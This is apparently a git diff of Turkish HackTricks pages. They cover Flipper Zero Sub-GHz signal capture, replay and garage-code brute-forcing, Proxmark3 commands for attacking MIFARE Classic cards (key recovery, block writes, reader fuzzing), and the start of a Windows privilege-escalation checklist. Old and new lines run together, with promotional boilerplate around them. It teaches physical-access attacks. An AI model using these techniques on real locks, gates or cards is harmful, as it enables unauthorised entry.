<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) **kontrol edin!** * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı göndererek HackTricks repo**'suna [**ve hacktricks-cloud repo**'ya](https://github.com/carlospolop/hacktricks) **PR gönderin.** * **Hacking püf noktalarınızı göndererek HackTricks deposuna** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **katkıda bulunun**.
</details> </details>

View file

@ -6,17 +6,17 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,13 +24,13 @@ HackTricks'ı desteklemenin diğer yolları:
## Giriş <a href="#kfpn7" id="kfpn7"></a> ## Giriş <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero, 300-928 MHz aralığında **radyo frekanslarını alıp ve iletebilir**. Dahili modülü sayesinde uzaktan kumandaları okuyabilir, kaydedebilir ve taklit edebilir. Bu kumandalar, kapılar, bariyerler, radyo kilitleri, uzaktan kumandalı anahtarlar, kablosuz kapı zilleri, akıllı ışıklar ve daha fazlası ile etkileşim için kullanılır. Flipper Zero, güvenliğinizin tehlikeye atılıp atılmadığını öğrenmenize yardımcı olabilir. Flipper Zero, uzaktan kumandaları okuyabilen, kaydedebilen ve taklit edebilen dahili modülü sayesinde **300-928 MHz aralığında radyo frekanslarını alıp ve iletebilir**. Bu kumandalar, kapılar, bariyerler, radyo kilitleri, uzaktan kumandalı anahtarlar, kablosuz kapı zilleri, akıllı ışıklar ve daha fazlası ile etkileşim için kullanılır. Flipper Zero, güvenliğinizin tehlikeye atılıp atılmadığını öğrenmenize yardımcı olabilir.
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
## Sub-GHz donanımı <a href="#kfpn7" id="kfpn7"></a> ## Sub-GHz donanımı <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero, [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 çipi](https://www.ti.com/lit/ds/symlink/cc1101.pdf) ve bir radyo antenine dayalı dahili sub-1 GHz modülüne sahiptir (maksimum menzil 50 metredir). Hem CC1101 çipi hem de anten, 300-348 MHz, 387-464 MHz ve 779-928 MHz bantlarında çalışacak şekilde tasarlanmıştır. Flipper Zero, [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 çipi](https://www.ti.com/lit/ds/symlink/cc1101.pdf) ve bir radyo anteni (maksimum menzil 50 metre) üzerine kurulu dahili bir sub-1 GHz modüle sahiptir. Hem CC1101 çipi hem de anten, 300-348 MHz, 387-464 MHz ve 779-928 MHz bantlarında çalışacak şekilde tasarlanmıştır.
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
@ -39,16 +39,16 @@ Flipper Zero, [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101
### Frekans Analizörü ### Frekans Analizörü
{% hint style="info" %} {% hint style="info" %}
Uzaktan kumandanın hangi frekansı kullandığını bulma Kumandanın hangi frekansı kullandığını bulma
{% endhint %} {% endhint %}
Analiz yapılırken, Flipper Zero frekans konfigürasyonunda mevcut olan tüm frekanslarda sinyal gücünü (RSSI) tarar. Flipper Zero, -90 [dBm](https://en.wikipedia.org/wiki/DBm)'den yüksek sinyal gücüne sahip olan frekansı ekranda gösterir. Analiz yapılırken, Flipper Zero frekans konfigürasyonunda mevcut olan tüm frekanslarda sinyal gücünü (RSSI) tarar. Flipper Zero, -90 [dBm](https://en.wikipedia.org/wiki/DBm)'den yüksek sinyal gücüne sahip olan en yüksek RSSI değerine sahip frekansı ekranda gösterir.
Uzaktan kumandanın frekansını belirlemek için şunları yapın: Kumandanın frekansını belirlemek için şunları yapın:
1. Uzaktan kumandayı Flipper Zero'nun soluna çok yakın bir yere yerleştirin. 1. Kumandayı Flipper Zero'nun soluna çok yakın bir yere yerleştirin.
2. **Ana Menü**'ye gidin **→ Sub-GHz**. 2. **Ana Menü**'ye gidin **→ Sub-GHz**.
3. **Frekans Analizörü**nü seçin, ardından analiz etmek istediğiniz uzaktan kumandadaki düğmeye basılı tutun. 3. **Frekans Analizörü**nü seçin, ardından analiz etmek istediğiniz kumandadaki düğmeye basılı tutun.
4. Ekranda frekans değerini inceleyin. 4. Ekranda frekans değerini inceleyin.
### Oku ### Oku
@ -57,14 +57,14 @@ Uzaktan kumandanın frekansını belirlemek için şunları yapın:
Kullanılan frekans hakkında bilgi bulma (kullanılan frekansı bulmanın başka bir yolu) Kullanılan frekans hakkında bilgi bulma (kullanılan frekansı bulmanın başka bir yolu)
{% endhint %} {% endhint %}
**Oku** seçeneği, varsayılan olarak 433.92 AM modülasyonunda yapılandırılmış frekansta **dinleme yapar**. Okuma sırasında **bir şey bulunursa**, ekran üzerinde **bilgi verilir**. Bu bilgi, gelecekte sinyali çoğaltmak için kullanılabilir. **Oku** seçeneği, varsayılan olarak 433.92 AM modülasyonunda yapılandırılmış frekansta **dinleme yapar**. **Okuma sırasında bir şey bulunursa**, ekran üzerinde **bilgi verilir**. Bu bilgi, gelecekte sinyali çoğaltmak için kullanılabilir.
Okuma kullanılırken, **sol düğmeye basarak yapılandırabilirsiniz**.\ Okuma kullanılırken, **sol düğmeye basarak yapılandırabilirsiniz**.\
Şu anda **4 modülasyon** (AM270, AM650, FM328 ve FM476) ve **çeşitli ilgili frekanslar** saklanmış durumda: Şu anda **4 modülasyon** (AM270, AM650, FM328 ve FM476) ve **çeşitli ilgili frekanslar** saklanmış durumda:
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
Sizi ilgilendiren **herhangi birini ayarlayabilirsiniz**, ancak eğer hangi frekansın uzaktan kumanda tarafından kullanıldığından emin değilseniz, **Hopping'i ON** (varsayılan olarak Off) yapın ve Flipper'ın yakalayıp ihtiyacınız olan bilgiyi vermesi için düğmeye birkaç kez basın. Sizi ilgilendiren **herhangi birini ayarlayabilirsiniz**, ancak eğer hangi frekansın kumanda tarafından kullanıldığından emin değilseniz, **Hopping'i ON** (varsayılan olarak Off) olarak ayarlayın ve Flipper'ın yakaladığı ve ihtiyacınız olan bilgiyi verdiği frekansı ayarlamak için düğmeye birkaç kez basın.
{% hint style="danger" %} {% hint style="danger" %}
Frekanslar arasında geçiş yapmak biraz zaman alır, bu nedenle geçiş sırasında iletilen sinyaller kaçırılabilir. Daha iyi sinyal alımı için Frekans Analizörü tarafından belirlenen sabit bir frekans ayarlayın. Frekanslar arasında geçiş yapmak biraz zaman alır, bu nedenle geçiş sırasında iletilen sinyaller kaçırılabilir. Daha iyi sinyal alımı için Frekans Analizörü tarafından belirlenen sabit bir frekans ayarlayın.
@ -73,27 +73,27 @@ Frekanslar arasında geçiş yapmak biraz zaman alır, bu nedenle geçiş sıras
### **Ham Oku** ### **Ham Oku**
{% hint style="info" %} {% hint style="info" %}
Yapılandırılmış frekansta bir sinyali çalmak (ve tekrarlamak) Yapılandırılmış frekansta bir sinyali çalın (ve tekrarlayın)
{% endhint %} {% endhint %}
**Ham Oku** seçeneği, dinleme frekansında gönderilen sinyalleri **kaydeder**. Bu, bir sinyali **çalmak** ve **tekrarlamak** için kullanılabilir. **Ham Oku** seçeneği, dinleme frekansında gönderilen sinyalleri **kaydeder**. Bu, bir sinyali **çalmak** ve **tekrarlamak** için kullanılabilir.
Varsayılan olarak **Ham Oku da 433.92'de AM650'de** bulunur, ancak Oku seçeneği ile ilginizi çeken sinyalin farklı bir frekans/modülasyonda olduğunu bulduysanız, bunu da değiştirebilirsiniz sol düğmeye basarak (Ham Oku seçeneği içindeyken). Varsayılan olarak **Ham Oku da 433.92'de AM650'de** bulunur, ancak Oku seçeneği ile ilginizi çeken sinyalin farklı bir frekans/modülasyonda olduğunu bulursanız, bunu da değiştirebilirsiniz sol düğmeye basarak (Ham Oku seçeneği içindeyken).
### Kaba Kuvvet ### Kaba Kuvvet
Örneğin garaj kapısı tarafından kullanılan protokolü biliyorsanız, **tüm kodları oluşturabilir ve Flipper Zero ile gönderebilirsiniz**. Bu, genel garaj tiplerini destekleyen bir örnektir: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce) Örneğin garaj kapısı tarafından kullanılan protokolü biliyorsanız, **tüm kodları oluşturabilir ve Flipper Zero ile gönderebilirsiniz**. Bu, genel olarak yaygın garaj tiplerini destekleyen bir örnektir: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### Manuel Olarak Ekle ### Manuel Olarak Ekle
{% hint style="info" %} {% hint style="info" %}
Yapılandırılmış protokoller listesinden sinyal ekleyin Yapılandırılmış protokoller listesinden sinyaller ekleyin
{% endhint %} {% endhint %}
#### [Desteklenen protokollerin listesi](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a> #### [Desteklenen protokollerin listesi](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
| Princeton\_433 (statik kod sistemlerinin çoğuyla çalışır) | 433.92 | Statik | | Princeton\_433 (çoğu statik kod sistemiyle çalışır) | 433.92 | Statik |
| -------------------------------------------------------- | ------ | ------- | | --------------------------------------------------- | ------ | ------- |
| Nice Flo 12bit\_433 | 433.92 | Statik | | Nice Flo 12bit\_433 | 433.92 | Statik |
| Nice Flo 24bit\_433 | 433.92 | Statik | | Nice Flo 24bit\_433 | 433.92 | Statik |
| CAME 12bit\_433 | 433.92 | Statik | | CAME 12bit\_433 | 433.92 | Statik |
@ -128,20 +128,20 @@ Kaydedilen frekansların dBm değerlerini alın
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>A'dan Z'ye AWS hackleme konusunda öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu görün * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin. * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,8 +26,8 @@
### MIFARE Classic 1KB Saldırısı ### MIFARE Classic 1KB Saldırısı
Her birinde **4 blok** bulunan **16 sektörü** vardır ve her blok **16B** içerir. UID, sektör 0 blok 0'da bulunur (ve değiştirilemez).\ **16 sektörü** bulunmaktadır, her birinde **4 blok** ve her blok **16B** içerir. UID, sektör 0 blok 0'da bulunur (ve değiştirilemez).\
Her sektöre erişmek için **2 anahtar** (**A** ve **B**) gereklidir ve bunlar **her sektörün blok 3'ünde** (sektör kapakları) saklanır. Sektör kapakları ayrıca **her bloğa** erişim izinlerini veren **okuma ve yazma** izinlerini saklar.\ Her sektöre erişmek için **2 anahtar** (**A** ve **B**) gereklidir ve bunlar **her sektörün blok 3'ünde** (sektör başlığı) saklanır. Sektör başlığı ayrıca, 2 anahtarı kullanarak **her bloğa okuma ve yazma** izinleri veren **erişim bitlerini** saklar.\
2 anahtar, ilkini bildiğinizde okuma izni vermek ve ikincisini bildiğinizde yazma izni vermek için kullanışlıdır (örneğin). 2 anahtar, ilkini bildiğinizde okuma izni vermek ve ikincisini bildiğinizde yazma izni vermek için kullanışlıdır (örneğin).
Birçok saldırı gerçekleştirilebilir. Birçok saldırı gerçekleştirilebilir.
@ -49,7 +49,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1 proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
``` ```
Proxmark3, hassas verileri bulmaya çalışmak için **Tag to Reader iletişimini dinleyerek** diğer eylemleri gerçekleştirmenize olanak tanır. Bu kartta, iletişimi dinleyebilir ve kullanılan anahtarı hesaplayabilirsiniz çünkü **kriptografik işlemler zayıftır** ve düz metin ve şifre metni bilindiğinde bunu hesaplayabilirsiniz (`mfkey64` aracı). Proxmark3, hassas verileri bulmaya çalışmak için **Tag to Reader iletişimini izleyerek** **dinleme** gibi diğer eylemleri gerçekleştirmenize olanak tanır. Bu kartta, **kriptografik işlemler zayıf olduğundan** iletişimi dinleyerek kullanılan anahtarı hesaplayabilirsiniz ve düz metin ve şifreli metni bildiğinizde bunu hesaplayabilirsiniz (`mfkey64` aracı).
### Ham Komutlar ### Ham Komutlar
@ -73,23 +73,23 @@ proxmark3> script run mfkeys
``` ```
**Proxmark 3 ile Radyo Hacking** **Proxmark 3 ile Radyo Hacking**
Farklı bir **Lua betiği** oluşturabilirsiniz. Bu betik, **etiket okuyucularını fuzz** etmek için kullanılabilir. **Geçerli bir kartın** verilerini kopyalayarak, bir veya daha fazla **rastgele byte'ı randomize eden** ve herhangi bir iterasyonda **okuyucunun çöküp çökmediğini kontrol eden** bir Lua betiği yazın. Farklı tag okuyucularını **fuzzlamak** için bir betik oluşturabilirsiniz, bu yolla bir **geçerli kartın** verilerini kopyalayarak **Lua betiği** yazabilir ve bir veya daha fazla **rastgele byte'ı randomize** ederek okuyucunun herhangi bir iterasyonda **çöküp çökmediğini kontrol edebilirsiniz**.
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>A'dan Z'ye AWS hackleme konusunda öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizi HackTricks'te görmek ister misiniz? ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) **kontrol edin!**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**. * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna** veya [**telegram grubuna**](https://t.me/peass) **katılın veya beni Twitter'da takip edin** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**. * **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile.**
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -27,9 +27,9 @@ HackTricks'ı desteklemenin diğer yolları:
### [Sistem Bilgisi](windows-local-privilege-escalation/#system-info) ### [Sistem Bilgisi](windows-local-privilege-escalation/#system-info)
* [ ] [**Sistem bilgilerini**](windows-local-privilege-escalation/#system-info) edinin * [ ] [**Sistem bilgilerini**](windows-local-privilege-escalation/#system-info) edinin
* [ ] **Kernel** [**saldırılarını betikler kullanarak**](windows-local-privilege-escalation/#version-exploits) arayın * [ ] **Kernel** üzerindeki [**saldırıları betikler kullanarak**](windows-local-privilege-escalation/#version-exploits) arayın
* [ ] **Google'ı kullanarak** kernel **saldırıları arayın** * [ ] **Google'ı kullanarak** kernel **saldırılarını arayın**
* [ ] **Searchsploit'i kullanarak** kernel **saldırıları arayın** * [ ] **Searchsploit'i kullanarak** kernel **saldırılarını arayın**
* [ ] [**Çevre değişkenlerinde**](windows-local-privilege-escalation/#environment) ilginç bilgiler mi var? * [ ] [**Çevre değişkenlerinde**](windows-local-privilege-escalation/#environment) ilginç bilgiler mi var?
* [ ] [**PowerShell geçmişinde**](windows-local-privilege-escalation/#powershell-history) şifreler mi var? * [ ] [**PowerShell geçmişinde**](windows-local-privilege-escalation/#powershell-history) şifreler mi var?
* [ ] [**İnternet ayarlarında**](windows-local-privilege-escalation/#internet-settings) ilginç bilgiler mi var? * [ ] [**İnternet ayarlarında**](windows-local-privilege-escalation/#internet-settings) ilginç bilgiler mi var?
@ -40,7 +40,7 @@ HackTricks'ı desteklemenin diğer yolları:
### [Günlükleme/AV numaralandırma](windows-local-privilege-escalation/#enumeration) ### [Günlükleme/AV numaralandırma](windows-local-privilege-escalation/#enumeration)
